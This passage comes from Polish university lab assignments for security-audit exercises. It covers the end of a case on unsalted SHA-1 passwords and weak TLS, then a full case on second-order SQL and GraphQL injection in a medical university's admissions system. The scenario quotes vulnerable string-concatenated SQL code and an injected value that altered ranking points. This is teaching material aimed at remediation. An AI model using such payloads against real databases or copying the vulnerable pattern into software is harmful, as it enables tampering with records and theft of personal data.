  1. Dlaczego hasła wnioskodawców zostały odtworzone w 35 minut? (Baza składowała je w formacie SHA-1 bez soli).
  2. Dlaczego w nowo wdrażanym module użyto SHA-1? (Wykonawca zewnętrzny skopiował archiwalny moduł uwierzytelniania ze starego systemu z 2011 r.).
  3. Dlaczego urząd odebrał system z taką wadą? (W Specyfikacji Warunków Zamówienia SWZ zapisano jedynie ogólne hasło 'hasła muszą być bezpiecznie haszowane', bez określenia normy).
  4. Dlaczego specyfikacja SWZ nie zawierała wymogów KRI i NIST? (Wydział Zamówień Publicznych nie przekazał dokumentacji przetargowej do zaopiniowania Inspektorowi Bezpieczeństwa Informacji).

Przyczyna źródłowa: Brak sformalizowanego ładu zarządzania bezpieczeństwem kryptograficznym w urzędzie, brak standardów technicznych dla przetargów IT oraz brak procedury odbiorowej obejmującej audyt kodu źródłowego i konfiguracji kryptograficznej.

4. Consequence (Skutki)

Ryzyko unieważnienia naborów wniosków o wartości 2 mld PLN przez Komisję Europejską i OLAF, kradzież tajemnic przedsiębiorstw i projektów patentowych przez wywiad gospodarczy, kara administracyjna Prezesa UODO do 20 mln EUR lub 4% obrotu, odpowiedzialność dyscyplinarna i karna urzędników z art. 231 KK (niedopełnienie obowiązków) oraz roszczenia odszkodowawcze konsorcjów przemysłowych.

Analiza przyczyn źródłowych – drzewo 5 Why
  1. 1
    Dlaczego hasła wnioskodawców zostały odtworzone w 35 minut? (Baza składowała je w formacie SHA-1 bez soli).
  2. 2
    Dlaczego w nowo wdrażanym module użyto SHA-1? (Wykonawca zewnętrzny skopiował archiwalny moduł uwierzytelniania ze starego systemu z 2011 r.).
  3. 3
    Dlaczego urząd odebrał system z taką wadą? (W Specyfikacji Warunków Zamówienia SWZ zapisano jedynie ogólne hasło 'hasła muszą być bezpiecznie haszowane', bez określenia normy).
  4. 4
    Dlaczego specyfikacja SWZ nie zawierała wymogów KRI i NIST? (Wydział Zamówień Publicznych nie przekazał dokumentacji przetargowej do zaopiniowania Inspektorowi Bezpieczeństwa Informacji).
  5. root
    Przyczyna źródłowa: Brak sformalizowanego ładu zarządzania bezpieczeństwem kryptograficznym w urzędzie, brak standardów technicznych dla przetargów IT oraz brak procedury odbiorowej obejmującej audyt kodu źródłowego i konfiguracji kryptograficznej.
  • Krok 3 (Zaawansowana Matryca Ryzyka 5x5 i Wskaźniki BCM / CVSS - Minuty 15-40):

    Skwantyfikujcie 4 wektory zagrożeń w skali 25-stopniowej (P 1-5 x S 1-5):

Zagrożenie (obszar podatności OWASP)P (in.)S (in.)Ryzyko inherentne (IR)P (po CAP)S (po CAP)Ryzyko rezydualne (RR)
Przechwycenie poświadczeń i wniosków patentowych w ataku Man-in-the-Middle przez podatności TLS/CBC ( 5 5 25/25 – Ryzyko Ekstremalne 1 4 4/25 – Ryzyko Akceptowalne
Masowe złamanie haseł wnioskodawców w wyniku słabości algorytmu SHA-1 ( 5 5 25/25 1 4 4/25
Nieuprawniony odczyt tajemnic przedsiębiorstw z macierzy dyskowej przy braku szyfrowania w spoczynku ( 4 5 20/25 1 4 4/25
Pełna kompromitacja tożsamości domeny urzędu przez kradzież klucza prywatnego TLS z pliku `.env` ( 5 4 20/25 1 3 3/25
ParametrWartość docelowa
rto30 min dla rekonfiguracji serwerów brzegowych
rpo0 sekund (ochrona nienaruszalności wniosków o dofinansowanie)
mtpd2 godziny
  • Krok 4 (Konstrukcja Trójfazowego Planu Działań Korygujących - CAP - Minuty 40-70):

    Opracujcie tabelę CAP w 3 horyzontach czasowych:

FazaHoryzont Działania naprawczeRACI (właściciele) KPI (wskaźniki efektywności)KRI / termin weryfikacji
1 – Działania natychmiastowe mitygujące0-7 dniNatychmiastowa rekonfiguracja serwera NGINX - całkowite wyłączenie protokołów TLS 1.0 i 1.1, dopuszczenie wyłącznie TLS 1.3 i TLS 1.2 (z szyframi AEAD: GCM/CHACHA20), wdrożenie nagłówka HSTS z parametrem `max-age=31536000; includeSubDomains; preload`, wygenerowanie nowych kluczy prywatnych TLS i ich zabezpieczenie z prawami dostępu `chmod 600 root:root`A - Marszałek Województwa, R - Administrator Systemów / CISOOcena SSL Labs = A+Liczba połączeń w TLS < 1.2 = 0
2 – Działania krótkoterminowe inżyniersko-wdrożeniowe30 dniWdrożenie biblioteki haszowania haseł opartej na algorytmie Argon2id (parametry: memory cost = 64 MB, time cost = 3 iteracje, parallelism = 4 wątki) z wymuszeniem zmiany hasła przy kolejnym logowaniu; wdrożenie oprogramowania HashiCorp Vault do bezpiecznego zarządzania sekretami i kluczami APIA - Dyrektor Departamentu Społeczeństwa Informacyjnego, R - Główny Programista100% nowych haseł w Argon2idLiczba haseł w formacie SHA-1 = 0
3 – Działania systemowe i ład korporacyjny90 dniWdrożenie technologii Oracle Transparent Data Encryption (TDE) dla wszystkich tabel zawierających dane projektowe i finansowe z integracją ze sprzętowym modułem HSM posiadającym certyfikat FIPS 140-3 Level 3, opracowanie i wdrożenie obligatoryjnej procedury weryfikacji kryptograficznej w zamówieniach publicznych urzęduA - Marszałek / Zarząd Województwa, R - CISO / Administrator Baz Danych100% wrażliwych tabel zaszyfrowanych AES-256-GCMLiczba projektów IT bez opinii CISO = 0
  • Krok 5 (Sformalizowany Projekt Załącznika Wykonawczego SOP - Minuty 40-70):

    Zredagujcie sformalizowany akt normatywny: "Standard Stosowania Kryptografii, Zarządzania Kluczami i Bezpieczeństwa Warstwy Transportowej w Samorządowych Usługach Elektronicznych Urzędu Marszałkowskiego Województwa Podkarpackiego" z numerowanymi artykułami:

    • § 1 Cel i zakres stosowania (zapewnienie zgodności z KRI i ochrona środków unijnych).
    • § 2 Dopuszczalne protokoły transmisji i mechanizmy nagłówkowe (obligatoryjny TLS 1.3 i HSTS Preload).
    • § 3 Standardy haszowania poświadczeń tożsamości (bezwzględny wymóg algorytmu Argon2id lub PBKDF2 z min. 600 000 iteracji).
    • § 4 Szyfrowanie danych w spoczynku i zarządzanie kluczami (wymóg TDE AES-256 oraz modułów HSM FIPS 140-3).
    • § 5 Procedura opiniowania projektów teleinformatycznych i sankcje dyscyplinarne za naruszenie standardu.
  • Krok 6 (Opracowanie Podsumowania Zarządczego - Pitch to Board - Minuty 70-90):

    Przygotujcie 1-stronicowy dokument dla Marszałka Województwa: bilans ryzyk (redukcja z 4 ryzyk ekstremalnych IR>=20 do poziomu akceptowalnego RR<=4), ochrona naborów unijnych o wartości 2 mld PLN, wyeliminowanie ryzyka kar UODO (do 20 mln EUR) i OLAF, kosztorys CAP (290 000 PLN na HSM i audyt) oraz wskaźnik zwrotu z inwestycji.

Plan referatu studenckiego (15 minut) i obrona ustna

Plan wystąpienia przed komisją laboratoryjną (15 minut):

  • Prezentacja Podsumowania Zarządczego (Pitch to Board) dla Marszałka (3 min): Przedstawienie skali zagrożenia funduszy unijnych, ekspozycji na kary OLAF/UODO oraz bilansu ryzyk przed i po CAP (Student A - Lead Auditor).
  • Dekonstrukcja techniczna podatności kryptograficznych (4 min): Prezentacja konfiguracji SSL/TLS serwera NGINX, kryptoanaliza skrótów SHA-1, demonstracja szybkości łamania haseł na GPU, brak nagłówka HSTS oraz luka w uprawnieniach pliku `.env` (Student B - Technical SecOps Auditor).
  • Prezentacja Kanonicznej Karty Niezgodności 4C, 5 Why i matrycy ryzyka 5x5 (4 min): Uzasadnienie kwalifikacji uchybienia, korelacja z § 20 KRI, art. 32 RODO i normą ISO 27001 oraz wyliczenie redukcji ryzyka z IR=25 do RR=4 (Student C - Compliance Auditor).
  • Prezentacja Trójfazowego Planu CAP i Załącznika Wykonawczego SOP (3 min): Szczegółowe omówienie migracji na TLS 1.3, wdrożenia Argon2id, modułu HSM i Oracle TDE oraz procedury opiniowania SWZ (Student B i Student C).
  • Dyskusja z komisją i obrona rekomendacji (1 min): Uzasadnienie konieczności zakupu sprzętowego modułu HSM w relacji do wartości chronionych projektów patentowych (cała Triada Audytorska).
Zakres raportu poaudytowego i dokumentacji wdrożeniowej (12-16 stron A4)

Struktura raportu strategicznego na ocenę 5.0 (objętość 12-16 stron A4):

A. Podsumowanie Zarządcze (Executive Summary - "Pitch to Board") - 1 strona A4:

  • Syntetyczny bilans ryzyk kryptograficznych (IR vs RR).
  • Analiza ekspozycji finansowej (zagrożenie wstrzymania dotacji 2 mld PLN, kary UODO i OLAF).
  • Budżet Planu CAP (290 000 PLN) vs ROSI.

B. Odpowiedzi na pytania problemowe i opis sytuacji kryzysowej:

  • Dlaczego pojedyncza funkcja skrótu SHA-1 (nawet z solą) jest współcześnie uznawana za całkowicie nieadekwatną do ochrony poświadczeń tożsamości i jakie mechanizmy pamięciożerne (Argon2id, scrypt) uniemożliwiają skuteczne ataki brute-force na procesorach graficznych (GPU/ASIC)?
  • Czym charakteryzuje się mechanizm Forward Secrecy (FS) w protokołach TLS 1.3 i w jaki sposób chroni on zarejestrowany wcześniej ruch sieciowy przed odszyfrowaniem w przypadku późniejszej kradzieży klucza prywatnego serwera?
  • W jaki sposób zintegrować technologię Transparent Data Encryption (TDE) z zewnętrznym, sprzętowym modułem bezpieczeństwa HSM zgodnie z wymogami standardu FIPS 140-3 Level 3 w strukturze administracji publicznej?

C. Kanoniczna Karta Ustaleń Audytowych w Modelu 4C.

D. Zaawansowana Matryca Ryzyka 5x5 i Wskaźniki BCM / CVSS (IR vs RR, CVSS v3.1 Base Score 9.1).

E. Trójfazowy Plan Działań Korygujących (CAP) (Faza 1 [0-7 dni], Faza 2 [30 dni], Faza 3 [90 dni], RACI, KPI, KRI).

F. Sformalizowany Projekt Załącznika Wykonawczego (SOP) - Standard Stosowania Kryptografii (§ 1 do § 5).

G. Analiza kompromisów inżynierskich (narzut obliczeniowy algorytmu Argon2id na serwery uwierzytelniania vs odporność na łamanie poświadczeń).

H. Bibliografia, netografia i regulacje prawne.

Bibliografia, netografia i regulacje prawne
  • OWASP Foundation: "OWASP Top 10:2021", Kategoria A02:2021 Cryptographic Failures.
  • Rozporządzenie Rady Ministrów z dnia 12 kwietnia 2012 r. w sprawie Krajowych Ram Interoperacyjności, minimalnych wymagań dla rejestrów publicznych i wymiany informacji w postaci elektronicznej oraz minimalnych wymagań dla systemów teleinformatycznych (Dz.U. z 2017 r. poz. 2247) - § 20.
  • Rozporządzenie Parlamentu Europejskiego i Rady (UE) 2016/679 (RODO) - art. 32 (Bezpieczeństwo przetwarzania).
  • National Institute of Standards and Technology (NIST): "SP 800-52 Rev. 2: Guidelines for the Selection, Configuration, and Use of Transport Layer Security (TLS) Implementations", 2019.
  • National Institute of Standards and Technology (NIST): "SP 800-132: Recommendation for Password-Based Key Derivation Part 1: Storage Applications", 2010.
  • Norma PN-EN ISO/IEC 27001:2022: Załącznik A - kontrole A.8.20 (Bezpieczeństwo sieci), A.8.24 (Krypto-zabezpieczenia), A.5.15 (Kontrola dostępu).
  • Federal Information Processing Standards (FIPS): "FIPS PUB 140-3: Security Requirements for Cryptographic Modules", NIST 2019.
  • Ustawa z dnia 27 sierpnia 2009 r. o finansach publicznych (Dz.U. z 2023 r. poz. 1270 z późn. zm.).
Przypisanie do efektów uczenia się z sylabusa
  • U2 Identyfikacja i dekompozycja uchybień kryptograficznych w modelu 4C oraz dochodzenie 5 Why.
  • U1 Opracowanie zaleceń rekonfiguracji TLS 1.3, wdrożenia Argon2id, modułu HSM i Oracle TDE.
  • U3 Zastosowanie zaawansowanej matrycy ryzyka 5x5 w powiązaniu ze wskaźnikami CVSS i parametrami ciągłości działania BCM.
  • U4 Konstrukcja Trójfazowego Planu CAP oraz przygotowanie 1-stronicowego briefingu zarządczego (Pitch to Board).
  • W1W2W3 Wyczerpująca znajomość § 20 KRI, art. 32 RODO, normy ISO 27001 i standardów NIST.
  • K1K2K3 Profesjonalizm audytorski, bezkompromisowa ochrona interesu publicznego i wysoka etyka zawodowa.
Wskazówki do przygotowania i obrony referatu

Podczas obrony referatu przedstawcie komisji bezpośrednie porównanie czasu potrzebnego na złamanie hasła SHA-1 (ułamki milisekund na procesorze graficznym RTX 4090) z czasem niezbędnym na złamanie hasła zabezpieczonego algorytmem Argon2id (wielokrotność lat), uzasadniając w ten sposób konieczność natychmiastowej migracji kryptograficznej.

03
Uniwersytet medyczny w Białymstoku (szkolnictwo wyższe i nauka / KRI / RODO / prawo o szkolnictwie wyższym)
Zwiń

Temat: Strategiczny Audyt Podatności na Wstrzyknięcia (A03:2021 - Injection: SQL, Second-order SQLi, GraphQL) w Centralnym Systemie Rekrutacyjnym i Wirtualnym Dziekanacie: Zbieżność KRI, RODO, Model 4C, Ryzyko 5X5 i Trójfazowy Plan CAP

Uniwersytet Medyczny w Białymstoku – rekrutacja / WirtualnyDziekanat (KRI / RODO)Audyt A03:2021 Injection / SQLi + GraphQL (formuła 90 min)1Second-Order SQLi wformularzach dorobkunaukowego, GraphQLInjection/Batching2Zrzut danych imodyfikacja punktówrekrutacyjnych nakierunek lekarski335 000 rekordówstudentów, naruszenielist rankingowych(IR=25, CVSS 9.8)4Prepared StatementsORM + Query DepthLimiting + WAF + CAP0-7/30/90 dniSchemat strategicznego audytu podatności na wstrzyknięcia Injection SQL i GraphQL w uczelnianym systemierekrutacji i dziekanacie: analiza dynamicznych zapytań SQL, wstrzyknięcia drugiego rzędu, model 4C, matryca
Schemat strategicznego audytu podatności na wstrzyknięcia Injection SQL i GraphQL w uczelnianym systemie rekrutacji i dziekanacie: analiza dynamicznych zapytań SQL, wstrzyknięcia drugiego rzędu, model 4C, matryca ryzyka 5x5 i Trójfazowy Plan CAP
Cel zadania i powiązanie z efektami kształcenia

Głównym celem strategicznego zadania laboratoryjnego na ocenę 5.0 jest przeprowadzenie wysoce specjalistycznego audytu podatności na wstrzyknięcia (kategoria OWASP Top 10:2021 - A03:2021 Injection) w ekosystemie teleinformatycznym publicznej uczelni wyższej kształcącej kadry medyczne. Audyt koncentruje się na Centralnym Systemie Rekrutacyjnym 'e-Rekrutacja' oraz powiązanym Wirtualnym Dziekanacie (zintegrowanym z systemem USOS), w których wykryto podatność na wstrzyknięcie SQL drugiego rzędu (Second-Order SQL Injection) w polach opisu dorobku naukowego i osiągnięć olimpijskich kandydatów na kierunek lekarski, a także podatność GraphQL Injection / Batching Attack w interfejsie API planów zajęć i ocen. Wstrzyknięty złośliwy ciąg SQL uaktywnia się w trakcie generowania oficjalnych list rankingowych w module administracyjnym, umożliwiając intruzowi nieuprawnioną eskalację uprawnień, zrzut bazy zawierającej dane osobowe i wrażliwe 35 000 studentów oraz fałszowanie punktacji kwalifikacyjnej. Zadanie wymaga dekompozycji w kanonicznym modelu 4C, kwantyfikacji ryzyka w 25-stopniowej matrycy 5x5 skorelowanej ze wskaźnikami CVSS v3.1 (9.8 Critical) i BCM (RTO=15m, RPO=0s, MTPD=1h), skonstruowania Trójfazowego Planu Działań Korygujących (CAP) ze wskaźnikami KPI i KRI, opracowania sformalizowanego Załącznika Wykonawczego (SOP) regulującego standardy bezpiecznego kodowania, parametryzacji ORM i walidacji schematów GraphQL oraz przygotowania Podsumowania Zarządczego (Pitch to Board) dla Rektora i Senatu Uczelni.

Powiązanie z sylabusem i efektami kształcenia na ocenę 5.0:

  • W1 Zaawansowana znajomość przepisów Ustawy - Prawo o szkolnictwie wyższym i nauce, zasad nienaruszalności procedur rekrutacyjnych, ochrony danych osobowych studentów i kandydatów (art. 5, 6, 9 i 32 RODO) oraz odpowiedzialności karnej za fałszowanie dokumentów i niszczenie danych (art. 268a, 270 i 231 KK).
  • W2W3 Biegłość w stosowaniu standardów OWASP Top 10:2021 (A03), OWASP ASVS v4.0.3 (Sekcja V5 Walidacja Danych i Kodowanie), normy PN-EN ISO/IEC 27001:2022 (kontrole A.8.25, A.8.28 Bezpieczne kodowanie, A.8.29 Testowanie bezpieczeństwa), § 20 Rozporządzenia ws. KRI oraz wytycznych NIST SP 800-95.
  • U1 Opracowanie zaleceń inżynierskich całkowitej eliminacji dynamicznej konkatenacji zapytań SQL na rzecz zapytań parametryzowanych (Prepared Statements) w ORM Hibernate, wdrożenia walidacji wejściowej opartej na białych listach, ograniczenia głębokości i złożoności zapytań GraphQL (Query Depth / Cost Limiting) oraz reguł WAF SQLi.
  • U2 Bezbłędna kwalifikacja uchybienia w modelu 4C z precyzyjnym wskazaniem naruszeń prawa i norm.
  • U3 Kwantyfikacja ryzyka w matrycy 5x5 dla wektorów zafałszowania wyników rekrutacji lekarskiej, wycieku numerów PESEL i kompromitacji serwera bazy danych (IR=25, CVSS=9.8, powiązanie z BCM).
  • U4 Opracowanie Trójfazowego Planu CAP, projektu procedury SOP oraz 1-stronicowego briefingu zarządczego (Pitch to Board).
  • K1K2K3 Niezależność audytorska, obiektywizm w obliczu nacisków akademickich, dbałość o zaufanie społeczne do zawodu lekarza i etyka zawodowa.
  • Powiązanie z wykładem: Wyk1 (Audyt w sektorze publicznym i akademickim), Wyk3 (Kontrole A.8.25 i A.8.28 ISO 27001), Wyk4 (RODO i KRI w szkolnictwie wyższym), Wyk5 (Matryca ryzyka 5x5), Wyk6 (Analiza kodu źródłowego i logów SQL/GraphQL), Wyk7 (Model 4C, 5 Why, Trójfazowy CAP i Pitch to Board).
Scenariusz sytuacyjny organizacji

Uniwersytet Medyczny w Białymstoku kształci ponad 5 500 studentów na kierunkach lekarskim, lekarsko-dentystycznym, farmacji oraz naukach o zdrowiu. Rekrutacja na kierunek lekarski charakteryzuje się ogromną konkurencją (ponad 15 kandydatów na jedno miejsce). System 'e-Rekrutacja' przetwarza dane osobowe, numery PESEL, świadectwa dojrzałości oraz skany zaświadczeń o osiągnięciach olimpijskich i publikacjach naukowych, które przyznają dodatkowe punkty rekrutacyjne.

Stan faktyczny w obszarze podatności na wstrzyknięcia i incydentu rekrutacyjnego:

  • System rekrutacyjny został napisany w technologii Java/Spring Boot z bazą danych PostgreSQL. W formularzu rejestracyjnym kandydata pole `tytul_osiagniecia` oraz `opis_dorobku` przyjmuje tekst o długości do 2000 znaków. Dane te są zapisywane w bazie danych w sposób poprawny za pomocą standardowego repozytorium JPA.
  • Jednakże w module generowania oficjalnych protokołów komisji rekrutacyjnej (`ProtokolKomisjiService.java`), zamiast zapytań parametryzowanych, programiści użyli dynamicznej konkatenacji łańcuchów znaków do budowy skomplikowanego zapytania analitycznego: `String sql = "SELECT * FROM kandydaci WHERE status='AKTYWNY' AND kategoria='" + kategoria + "' ORDER BY " + kryteriumSortowania + ";";`. Co więcej, w wewnętrznej procedurze wyliczania punktów dodatkowych wartości pobrane z pola `tytul_osiagniecia` były bezpośrednio wklejane do kolejnego zapytania SQL uruchamianego z uprawnieniami superużytkownika `postgres`: `String bonusSql = "UPDATE ranking SET punkty = punkty + " + obliczBonus(rs.getString("tytul_osiagniecia")) + " WHERE id=" + kandydatId;`.
  • Wprowadzenie w polu osiągnięcia payloadu: `10 WHERE id=412; UPDATE ranking SET punkty = 100 WHERE id=412; --` sprawiło, że podczas nocnego przeliczania list rankingowych przez Przewodniczącego Uczelnianej Komisji Rekrutacyjnej zapytanie wykonało się w kontekście bazy, bezwarunkowo przyznając kandydatowi o ID 412 maksymalną liczbę 100 punktów i przesuwając go na 1. miejsce listy przyjętych.
  • Ponadto interfejs API GraphQL Wirtualnego Dziekanatu (`/graphql`) nie posiadał ograniczenia głębokości zapytań ani limitu złożoności (brak Query Depth / Complexity Limiter). Intruz, wykorzystując zagnieżdżone zapytanie rekurencyjne (Batching Attack) połączone ze wstrzyknięciem w dyrektywach `@filter`, doprowadził do ujawnienia struktury tabel dziekanatu oraz zrzutu numerów PESEL, ocen i adresów 35 000 studentów i absolwentów uczelni z ostatnich 10 lat.
  • Sprawa została ujawniona przez członka komisji rekrutacyjnej, który zauważył, że na 1. miejscu listy rankingowej znalazł się kandydat z wynikiem maturalnym z biologii na poziomie 32%, posiadający maksymalną liczbę punktów dodatkowych. Wstrzymano ogłoszenie wyników rekrutacji na 48 godzin przed ustawowym terminem.

Rektor Uczelni, stając w obliczu skandalu w mediach ogólnopolskich, groźby unieważnienia całej rekrutacji na kierunek lekarski, zawiadomienia prokuratury oraz kar ze strony Prezesa UODO, powołuje Triadę Audytorską do przeprowadzenia strategicznego audytu w formule 90 minut na poziomie oceny 5.0.

Wskazówki wykonania krok po kroku w formule 90 minut

Zadanie realizowane jest w ścisłym reżimie warsztatowym (formuła 90 minut) przez 2-3 osobową Triadę Audytorską:

  • Krok 1 (Podział ról w Triadzie Audytorskiej - Minuty 00-15):

    Student A (Lead Auditor / Zgodność z Prawem o Szkolnictwie Wyższym): Odpowiada za ład prawno-akademicki, zgodność z Ustawą - Prawo o szkolnictwie wyższym i nauce, art. 32 RODO, procedurami komisji rekrutacyjnej, koordynację matrycy 5x5 oraz przygotowanie 1-stronicowego Executive Summary ("Pitch to Board") dla Rektora i Senatu.

    Student B (Technical SecOps Auditor / Architekt Bezpieczeństwa Kodu i Baz Danych): Dokonuje dekonstrukcji podatności Second-Order SQLi w kodzie Java/Spring, analizuje plany zapytań PostgreSQL, payloady GraphQL, bada brak mechanizmów walidacji i parametryzacji, projektuje architekturę wzorcową zapytań parametryzowanych (Prepared Statements), repozytoria Spring Data JPA oraz reguły GraphQL Depth Limiting.

    Student C (Governance, Risk & Compliance Auditor): Opracowuje Kanoniczną Kartę Niezgodności 4C, wylicza ryzyko w matrycy 5x5 skorelowane ze wskaźnikami CVSS v3.1 (9.8 Critical) i BCM (RTO=15m, RPO=0s, MTPD=1h), prowadzi sekwencję 5 Why oraz konstruuje Trójfazowy Plan CAP ze wskaźnikami KPI i KRI. W zespole dwuosobowym zadania te dzielą Studenci A i B.

  • Krok 2 (Opracowanie Kanonicznej Karty Niezgodności 4C - Minuty 15-40):

    Sformułujcie kartę uchybienia krytycznego w modelu 4C:

Kanoniczna Karta Ustaleń Audytowych – model 4C
1. Condition (Stan faktyczny)

System rekrutacyjny dopuszcza dynamiczną konkatenację zapytań SQL w procedurach analitycznych przetwarzających dane z bazy (Second-Order SQLi), co pozwoliło na sfałszowanie pozycji rankingowej kandydata na kierunek lekarski, a interfejs GraphQL bez limitu głębokości umożliwił zrzut numerów PESEL i ocen 35 000 studentów.

2. Criteria (Kryterium)

Naruszenie kontroli ISO/IEC 27001:2022 A.8.28 (Bezpieczne kodowanie), A.8.25 (Bezpieczny cykl życia rozwoju), standardu OWASP ASVS v4.0.3 L3 (wymogi V5.1, V5.3 - parametryzacja wszystkich zapytań bazodanowych), § 20 ust. 2 pkt 4 KRI, art. 32 ust. 1 lit. b RODO oraz przepisów Ustawy - Prawo o szkolnictwie wyższym i nauce w zakresie uczciwości rekrutacji.

3. Cause (Przyczyna źródłowa – 5 Why)
  1. Dlaczego punkty kandydata zostały sfałszowane? (Zapytanie SQL zostało zmodyfikowane przez payload wprowadzony w formularzu dorobku).
  2. Dlaczego payload wykonał się w bazie danych? (Moduł raportowy komisji łączył ciągi znaków zamiast stosować zmienne powiązane PreparedStatement).
  3. Dlaczego programiści użyli konkatenacji SQL? (Złożoność algorytmu sortowania i brak wiedzy o podatnościach wstrzyknięć drugiego rzędu).
  4. Dlaczego aplikacja łączyła się z bazą z uprawnieniami superusera `postgres`? (Dla 'wygody deweloperskiej' zrezygnowano z tworzenia dedykowanych ról bazodanowych o minimalnych uprawnieniach).

Przyczyna źródłowa: Brak polityki bezpiecznego wytwarzania oprogramowania (Secure SDLC) na uczelni, brak automatycznych testów SAST/DAST w procesie wdrażania oprogramowania dziekanatowego oraz brak zasady Least Privilege w architekturze bazodanowej.

4. Consequence (Skutki)

Całkowity paraliż i konieczność unieważnienia rekrutacji na kierunek lekarski, skandal wizerunkowy w skali kraju, odpowiedzialność karna z art. 270 KK (fałszowanie dokumentacji) i art. 268a KK (udaremnienie prawidłowego przetwarzania danych), kara finansowa UODO do 20 mln EUR oraz utrata dotacji dydaktycznej z Ministerstwa Nauki i Szkolnictwa Wyższego.

Analiza przyczyn źródłowych – drzewo 5 Why
  1. 1
    Dlaczego punkty kandydata zostały sfałszowane? (Zapytanie SQL zostało zmodyfikowane przez payload wprowadzony w formularzu dorobku).
  2. 2
    Dlaczego payload wykonał się w bazie danych? (Moduł raportowy komisji łączył ciągi znaków zamiast stosować zmienne powiązane PreparedStatement).
  3. 3
    Dlaczego programiści użyli konkatenacji SQL? (Złożoność algorytmu sortowania i brak wiedzy o podatnościach wstrzyknięć drugiego rzędu).
  4. 4
    Dlaczego aplikacja łączyła się z bazą z uprawnieniami superusera `postgres`? (Dla 'wygody deweloperskiej' zrezygnowano z tworzenia dedykowanych ról bazodanowych o minimalnych uprawnieniach).
  5. root
    Przyczyna źródłowa: Brak polityki bezpiecznego wytwarzania oprogramowania (Secure SDLC) na uczelni, brak automatycznych testów SAST/DAST w procesie wdrażania oprogramowania dziekanatowego oraz brak zasady Least Privilege w architekturze bazodanowej.
  • Krok 3 (Zaawansowana Matryca Ryzyka 5x5 i Wskaźniki BCM / CVSS - Minuty 15-40):

    Skwantyfikujcie 4 wektory zagrożeń w skali 25-stopniowej (P 1-5 x S 1-5):

Zagrożenie (obszar podatności OWASP)P (in.)S (in.)Ryzyko inherentne (IR)P (po CAP)S (po CAP)Ryzyko rezydualne (RR)
Sfałszowanie list rankingowych i nieuprawnione przyjęcie na studia medyczne przez Second-Order SQLi ( 5 5 25/25 – Ryzyko Ekstremalne 1 5 5/25 – Ryzyko Akceptowalne
Masowy wyciek numerów PESEL i historii ocen przez brak limitu głębokości zapytań GraphQL ( 5 4 20/25 1 3 3/25
Przejęcie kontroli nad systemem operacyjnym serwera bazy danych przez uprawnienia superusera PostgreSQL ( 4 5 20/25 1 4 4/25
Atak Denial of Service (DoS) na system rekrutacji podczas zamykania naboru przez zapytania GraphQL Batching ( 5 4 20/25 1 3 3/25
ParametrWartość docelowa
rto15 min dla przywrócenia integralności procedur rankingowych
rpo0 sekund (zero tolerancji dla manipulacji danymi rekrutacyjnymi)
mtpd1 godzina
  • Krok 4 (Konstrukcja Trójfazowego Planu Działań Korygujących - CAP - Minuty 40-70):

    Opracujcie tabelę CAP w 3 horyzontach czasowych:

FazaHoryzont Działania naprawczeRACI (właściciele) KPI (wskaźniki efektywności)KRI / termin weryfikacji
1 – Działania natychmiastowe mitygujące0-7 dniZablokowanie podatnego endpointu generowania protokołów, natychmiastowe wdrożenie reguł WAF (ModSecurity / Cloudflare) blokujących wzorce SQL Injection, odebranie uprawnień superusera kontu aplikacyjnemu w PostgreSQL (ograniczenie do `SELECT, INSERT, UPDATE` bez praw DDL i dostępu do funkcji systemowych), powołanie komisji rewizyjnej do weryfikacji ręcznej 100% zgłoszeń na kierunek lekarskiA - Rektor Uczelni, R - CISO / Przewodniczący Komisji Rekrutacyjnej100% zweryfikowanych wpisów na liście rankingowejLiczba rozbieżności punktowych = 0
2 – Działania krótkoterminowe inżyniersko-wdrożeniowe30 dniPełna refaktoryzacja kodu modułu raportowego w Spring Boot - zastąpienie dynamicznych zapytań SQL bezpiecznymi zapytaniami parametryzowanymi z użyciem `NamedParameterJdbcTemplate` oraz Criteria API; wdrożenie mechanizmów Query Depth Limiting (maksymalna głębokość zagnieżdżenia = 3) oraz Complexity Analysis w interfejsie GraphQL; wdrożenie walidacji wejściowej regex opartej na rygorystycznej białej liście dopuszczalnych znaków alfanumerycznychA - Kanclerz Uczelni, R - Główny Programista / SecOps100% zapytań w standardzie PreparedStatementLiczba zapytań odrzuconych przez GraphQL Limiter > 0
3 – Działania systemowe i ład korporacyjny90 dniWdrożenie stałego potoku DevSecOps z obligatoryjną analizą statyczną kodu SAST (SonarQube z zestawem reguł OWASP Top 10) blokującą wdrożenie w przypadku wykrycia podatności Injection o statusie High/Critical; sformalizowanie i wdrożenie Uczelnianego Standardu Bezpiecznego Kodowania; szkolenie certyfikujące z bezpiecznego tworzenia oprogramowania dla wszystkich programistów i administratorów uczelnianego centrum ITA - Senat Uczelni, R - CISO / Dział ITWskaźnik długu bezpieczeństwa SonarQube = 0Liczba incydentów integralności danych = 0
  • Krok 5 (Sformalizowany Projekt Załącznika Wykonawczego SOP - Minuty 40-70):

    Zredagujcie sformalizowany akt normatywny: "Standard Bezpiecznego Programowania i Parametryzacji Interfejsów Bazodanowych w Ekosystemie Akademickim Uniwersytetu Medycznego w Białymstoku" z numerowanymi artykułami:

    • § 1 Cel i zakres standardu (ochrona integralności procesu dydaktycznego i rekrutacyjnego).
    • § 2 Bezwzględny zakaz dynamicznej konkatenacji zapytań (obowiązek stosowania Prepared Statements i Criteria API).
    • § 3 Reguły bezpieczeństwa dla interfejsów API GraphQL (limity głębokości, kontrola złożoności i blokada batchingu).
    • § 4 Standard konfiguracji kont bazodanowych (zasada Least Privilege, zakaz stosowania kont administracyjnych przez aplikacje).
    • § 5 Bramki jakościowe DevSecOps (wymóg czystego skanu SAST przed wdrożeniem na środowisko produkcyjne).
    • § 6 Odpowiedzialność prawna i dyscyplinarna za naruszenie standardu.
  • Krok 6 (Opracowanie Podsumowania Zarządczego - Pitch to Board - Minuty 70-90):

    Przygotujcie 1-stronicowy dokument dla Rektora i Senatu: bilans ryzyk (redukcja z 4 ryzyk ekstremalnych IR>=20 do poziomu akceptowalnego RR<=5), ochrona legalności naboru na kierunek lekarski, wyeliminowanie ryzyka kar UODO (do 20 mln EUR) i postępowań prokuratorskich, kosztorys CAP (210 000 PLN na refaktoryzację, WAF i szkolenia) oraz stopa zwrotu z inwestycji (ROSI: zachowanie reputacji uczelni i dotacji ministerialnej).

Plan referatu studenckiego (15 minut) i obrona ustna

Plan prezentacji przed komisją laboratoryjną (15 minut):

  • Prezentacja Podsumowania Zarządczego (Pitch to Board) dla Rektora i Senatu (3 min): Przedstawienie skali incydentu fałszowania list rekrutacyjnych, ekspozycji prawnej i reputacyjnej oraz bilansu ryzyk przed i po CAP (Student A - Lead Auditor).
